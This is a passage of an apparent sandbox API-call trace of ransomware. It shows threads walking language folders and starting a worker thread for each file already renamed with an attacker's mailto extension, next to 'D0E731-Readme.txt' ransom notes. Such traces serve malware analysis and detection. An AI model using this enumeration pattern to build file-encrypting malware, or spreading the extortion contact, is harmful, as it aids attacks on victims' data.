(_String1="eula.rtf.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0165.349] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x8a) returned 0x2fe4d10 [0165.349] wcscpy (in: _Dest=0x2fe4d10, _Source="C:\\588bce7c90097ed212\\1049" | out: _Dest="C:\\588bce7c90097ed212\\1049") returned="C:\\588bce7c90097ed212\\1049" [0165.349] wcscat (in: _Dest=0x2fe4d10, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1049\\") returned="C:\\588bce7c90097ed212\\1049\\" [0165.349] wcscat (in: _Dest=0x2fe4d10, _Source="eula.rtf.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\1049\\eula.rtf.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\1049\\eula.rtf.mailto[kokoklock@cock.li].d0e731" [0165.631] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe4d10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5a4 [0165.632] FindNextFileW (in: hFindFile=0x2fe3b88, lpFindFileData=0x2fe25e0 | out: lpFindFileData=0x2fe25e0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x8432f8aa, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x13f0a, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="LOCALI~1.D0E")) returned 1 [0165.632] wcscmp (_String1="LocalizedData.xml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0165.632] wcscmp (_String1="LocalizedData.xml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0165.632] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x9c) returned 0x2f6ca38 [0165.632] wcscpy (in: _Dest=0x2f6ca38, _Source="C:\\588bce7c90097ed212\\1049" | out: _Dest="C:\\588bce7c90097ed212\\1049") returned="C:\\588bce7c90097ed212\\1049" [0165.632] wcscat (in: _Dest=0x2f6ca38, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1049\\") returned="C:\\588bce7c90097ed212\\1049\\" [0165.632] wcscat (in: _Dest=0x2f6ca38, _Source="LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" [0165.632] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f6ca38, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x60c [0165.632] FindNextFileW (in: hFindFile=0x2fe3b88, lpFindFileData=0x2fe25e0 | out: lpFindFileData=0x2fe25e0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0165.632] wcscmp (_String1="SetupResources.dll", _String2=".") returned 1 [0165.633] wcscmp (_String1="SetupResources.dll", _String2="..") returned 1 [0165.633] FindNextFileW (in: hFindFile=0x2fe3b88, lpFindFileData=0x2fe25e0 | out: lpFindFileData=0x2fe25e0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0165.633] FindClose (in: hFindFile=0x2fe3b88 | out: hFindFile=0x2fe3b88) returned 1 [0165.633] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe25e0) returned 1 [0165.633] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2feda60) returned 1 [0165.633] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f7fae0) returned 1 [0165.633] RtlExitUserThread (Status=0x0) Thread: id = 1570 os_tid = 0xf64 [0165.352] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x3a) returned 0x2fed868 [0165.352] wcscpy (in: _Dest=0x2fed868, _Source="C:\\588bce7c90097ed212\\1053" | out: _Dest="C:\\588bce7c90097ed212\\1053") returned="C:\\588bce7c90097ed212\\1053" [0165.352] wcscat (in: _Dest=0x2fed868, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1053\\") returned="C:\\588bce7c90097ed212\\1053\\" [0165.352] wcscat (in: _Dest=0x2fed868, _Source="*" | out: _Dest="C:\\588bce7c90097ed212\\1053\\*") returned="C:\\588bce7c90097ed212\\1053\\*" [0165.352] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2fe2848 [0165.352] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1053\\*", lpFindFileData=0x2fe2848 | out: lpFindFileData=0x2fe2848*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x843ee522, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x843ee522, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe3bc8 [0165.354] wcscmp (_String1=".", _String2=".") returned 0 [0165.354] FindNextFileW (in: hFindFile=0x2fe3bc8, lpFindFileData=0x2fe2848 | out: lpFindFileData=0x2fe2848*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x843ee522, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x843ee522, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0165.354] wcscmp (_String1="..", _String2=".") returned 1 [0165.354] wcscmp (_String1="..", _String2="..") returned 0 [0165.354] FindNextFileW (in: hFindFile=0x2fe3bc8, lpFindFileData=0x2fe2848 | out: lpFindFileData=0x2fe2848*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x843ee522, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x843ee522, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x843ee522, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x481, dwReserved0=0x0, dwReserved1=0x0, cFileName="D0E731-Readme.txt", cAlternateFileName="D0E731~1.TXT")) returned 1 [0165.354] wcscmp (_String1="D0E731-Readme.txt", _String2=".") returned 1 [0165.354] wcscmp (_String1="D0E731-Readme.txt", _String2="..") returned 1 [0165.354] FindNextFileW (in: hFindFile=0x2fe3bc8, lpFindFileData=0x2fe2848 | out: lpFindFileData=0x2fe2848*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x82a00c8f, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0xfd9, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="EULART~1.D0E")) returned 1 [0165.354] wcscmp (_String1="eula.rtf.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0165.354] wcscmp (_String1="eula.rtf.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0165.354] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x8a) returned 0x2fe4ed8 [0165.354] wcscpy (in: _Dest=0x2fe4ed8, _Source="C:\\588bce7c90097ed212\\1053" | out: _Dest="C:\\588bce7c90097ed212\\1053") returned="C:\\588bce7c90097ed212\\1053" [0165.354] wcscat (in: _Dest=0x2fe4ed8, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1053\\") returned="C:\\588bce7c90097ed212\\1053\\" [0165.354] wcscat (in: _Dest=0x2fe4ed8, _Source="eula.rtf.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\1053\\eula.rtf.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\1053\\eula.rtf.mailto[kokoklock@cock.li].d0e731" [0165.628] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe4ed8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5a8 [0165.628] FindNextFileW (in: hFindFile=0x2fe3bc8, lpFindFileData=0x2fe2848 | out: lpFindFileData=0x2fe2848*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x843c822d, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x13030, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="LOCALI~1.D0E")) returned 1 [0165.628] wcscmp (_String1="LocalizedData.xml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0165.628] wcscmp (_String1="LocalizedData.xml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0165.628] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x9c) returned 0x2f6d950 [0165.628] wcscpy (in: _Dest=0x2f6d950, _Source="C:\\588bce7c90097ed212\\1053" | out: _Dest="C:\\588bce7c90097ed212\\1053") returned="C:\\588bce7c90097ed212\\1053" [0165.628] wcscat (in: _Dest=0x2f6d950, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1053\\") returned="C:\\588bce7c90097ed212\\1053\\" [0165.629] wcscat (in: _Dest=0x2f6d950, _Source="LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" [0165.629] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f6d950, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x608 [0165.629] FindNextFileW (in: hFindFile=0x2fe3bc8, lpFindFileData=0x2fe2848 | out: lpFindFileData=0x2fe2848*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0165.629] wcscmp (_String1="SetupResources.dll", _String2=".") returned 1 [0165.629] wcscmp (_String1="SetupResources.dll", _String2="..") returned 1 [0165.629] FindNextFileW (in: hFindFile=0x2fe3bc8, lpFindFileData=0x2fe2848 | out: lpFindFileData=0x2fe2848*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0165.629] FindClose (in: hFindFile=0x2fe3bc8 | out: hFindFile=0x2fe3bc8) returned 1 [0165.630] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe2848) returned 1 [0165.630] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fed868) returned 1 [0165.630] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f7fb20) returned 1 [0165.630] RtlExitUserThread (Status=0x0) Thread: id = 1571 os_tid = 0xf68 [0165.357] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x3a) returned 0x2fed8b0 [0165.358] wcscpy (in: _Dest=0x2fed8b0, _Source="C:\\588bce7c90097ed212\\1055" | out: _Dest="C:\\588bce7c90097ed212\\1055") returned="C:\\588bce7c90097ed212\\1055" [0165.358] wcscat (in: _Dest=0x2fed8b0, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1055\\") returned="C:\\588bce7c90097ed212\\1055\\" [0165.358] wcscat (in: _Dest=0x2fed8b0, _Source="*" | out: _Dest="C:\\588bce7c90097ed212\\1055\\*") returned="C:\\588bce7c90097ed212\\1055\\*" [0165.358] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2fefee0 [0165.358] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1055\\*", lpFindFileData=0x2fefee0 | out: lpFindFileData=0x2fefee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x8437bd5d, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8437bd5d, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe3dc8 [0165.360] wcscmp (_String1=".", _String2=".") returned 0 [0165.360] FindNextFileW (in: hFindFile=0x2fe3dc8, lpFindFileData=0x2fefee0 | out: lpFindFileData=0x2fefee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x8437bd5d, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8437bd5d, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0165.360] wcscmp (_String1="..", _String2=".") returned 1 [0165.360] wcscmp (_String1="..", _String2="..") returned 0 [0165.361] FindNextFileW (in: hFindFile=0x2fe3dc8, lpFindFileData=0x2fefee0 | out: lpFindFileData=0x2fefee0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84355add, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x84355add, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8437bd5d, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x481, dwReserved0=0x0, dwReserved1=0x0, cFileName="D0E731-Readme.txt", cAlternateFileName="D0E731~1.TXT")) returned 1 [0165.361] wcscmp (_String1="D0E731-Readme.txt", _String2=".") returned 1 [0165.361] wcscmp (_String1="D0E731-Readme.txt", _String2="..") returned 1 [0165.361] FindNextFileW (in: hFindFile=0x2fe3dc8, lpFindFileData=0x2fefee0 | out: lpFindFileData=0x2fefee0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x8298e410, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0xfd3, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="EULART~1.D0E")) returned 1 [0165.361] wcscmp (_String1="eula.rtf.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0165.361] wcscmp (_String1="eula.rtf.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0165.361] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x8a) returned 0x2fe50a0 [0165.361] wcscpy (in: _Dest=0x2fe50a0, _Source="C:\\588bce7c90097ed212\\1055" | out: _Dest="C:\\588bce7c90097ed212\\1055") returned="C:\\588bce7c90097ed212\\1055" [0165.361] wcscat (in: _Dest=0x2fe50a0, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1055\\") returned="C:\\588bce7c90097ed212\\1055\\" [0165.361] wcscat (in: _Dest=0x2fe50a0, _Source="eula.rtf.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\1055\\eula.rtf.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\1055\\eula.rtf.mailto[kokoklock@cock.li].d0e731" [0165.625] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe50a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5ac [0165.625] FindNextFileW (in: hFindFile=0x2fe3dc8, lpFindFileData=0x2fefee0 | out: lpFindFileData=0x2fefee0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x84355add, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x12cd2, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="LOCALI~1.D0E")) returned 1 [0165.625] wcscmp (_String1="LocalizedData.xml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0165.625] wcscmp (_String1="LocalizedData.xml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0165.625] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x9c) returned 0x2f6d8a8 [0165.625] wcscpy (in: _Dest=0x2f6d8a8, _Source="C:\\588bce7c90097ed212\\1055" | out: _Dest="C:\\588bce7c90097ed212\\1055") returned="C:\\588bce7c90097ed212\\1055" [0165.625] wcscat (in: _Dest=0x2f6d8a8, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1055\\") returned="C:\\588bce7c90097ed212\\1055\\" [0165.625] wcscat (in: _Dest=0x2f6d8a8, _Source="LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\1055\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" [0165.625] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f6d8a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x604 [0165.626] FindNextFileW (in: hFindFile=0x2fe3dc8, lpFindFileData=0x2fefee0 | out: lpFindFileData=0x2fefee0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0165.626] wcscmp (_String1="SetupResources.dll", _String2=".") returned 1 [0165.626] wcscmp (_String1="SetupResources.dll", _String2="..") returned 1 [0165.626] FindNextFileW (in: hFindFile=0x2fe3dc8, lpFindFileData=0x2fefee0 | out: lpFindFileData=0x2fefee0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0165.626] FindClose (in: hFindFile=0x2fe3dc8 | out: hFindFile=0x2fe3dc8) returned 1 [0165.627] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fefee0) returned 1 [0165.627] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fed8b0) returned 1 [0165.627] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f7fe20) returned 1 [0165.627] RtlExitUserThread (Status=0x0) Thread: id = 1572 os_tid = 0xf6c [0165.361] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x3a) returned 0x2fed8f8 [0165.361] wcscpy (in: _Dest=0x2fed8f8, _Source="C:\\588bce7c90097ed212\\2052" | out: _Dest="C:\\588bce7c90097ed212\\2052") returned="C:\\588bce7c90097ed212\\2052" [0165.361] wcscat (in: _Dest=0x2fed8f8, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\2052\\") returned="C:\\588bce7c90097ed212\\2052\\" [0165.361] wcscat (in: _Dest=0x2fed8f8, _Source="*" | out: _Dest="C:\\588bce7c90097ed212\\2052\\*") returned="C:\\588bce7c90097ed212\\2052\\*" [0165.361] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2ff0880 [0165.361] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\2052\\*", lpFindFileData=0x2ff0880 | out: lpFindFileData=0x2ff0880*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x8430960c, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8430960c, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe3c08 [0165.363] wcscmp (_String1=".", _String2=".") returned 0 [0165.363] FindNextFileW (in: hFindFile=0x2fe3c08, lpFindFileData=0x2ff0880 | out: lpFindFileData=0x2ff0880*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x8430960c, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8430960c, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0165.365] wcscmp (_String1="..", _String2=".") returned 1 [0165.365] wcscmp (_String1="..", _String2="..") returned 0 [0165.365] FindNextFileW (in: hFindFile=0x2fe3c08, lpFindFileData=0x2ff0880 | out: lpFindFileData=0x2ff0880*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x842e3403, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x842e3403, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x842e3403, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x481, dwReserved0=0x0, dwReserved1=0x0, cFileName="D0E731-Readme.txt", cAlternateFileName="D0E731~1.TXT")) returned 1 [0165.365] wcscmp (_String1="D0E731-Readme.txt", _String2=".") returned 1 [0165.365] wcscmp (_String1="D0E731-Readme.txt", _String2="..") returned 1 [0165.365] FindNextFileW (in: hFindFile=0x2fe3c08, lpFindFileData=0x2ff0880 | out: lpFindFileData=0x2ff0880*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x8293f64a, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x1783, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="EULART~1.D0E")) returned 1 [0165.365] wcscmp (_String1="eula.rtf.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0165.365] wcscmp (_String1="eula.rtf.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0165.365] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x8a) returned 0x2fe4f70 [0165.365] wcscpy (in: _Dest=0x2fe4f70, _Source="C:\\588bce7c90097ed212\\2052" | out: _Dest="C:\\588bce7c90097ed212\\2052") returned="C:\\588bce7c90097ed212\\2052" [0165.365] wcscat (in: _Dest=0x2fe4f70, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\2052\\") returned="C:\\588bce7c90097ed212\\2052\\" [0165.365] wcscat (in: _Dest=0x2fe4f70, _Source="eula.rtf.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\2052\\eula.rtf.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\2052\\eula.rtf.mailto[kokoklock@cock.li].d0e731" [0165.621] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe4f70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5b0 [0165.622] FindNextFileW (in: hFindFile=0x2fe3c08, lpFindFileData=0x2ff0880 | out: lpFindFileData=0x2ff0880*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x842e3403, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0xedcc, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="LOCALI~1.D0E")) returned 1 [0165.622] wcscmp (_String1="LocalizedData.xml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0165.622] wcscmp (_String1="LocalizedData.xml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0165.622] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x9c) returned 0x2f6d800 [0165.622] wcscpy (in: _Dest=0x2f6d800, _Source="C:\\588bce7c90097ed212\\2052" | out: _Dest="C:\\588bce7c90097ed212\\2052") returned="C:\\588bce7c90097ed212\\2052" [0165.622] wcscat (in: _Dest=0x2f6d800, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\2052\\") returned="C:\\588bce7c90097ed212\\2052\\" [0165.622] wcscat (in: _Dest=0x2f6d800, _Source="LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" [0165.622] CreateThread (in: lpThreadAttributes=0x0, 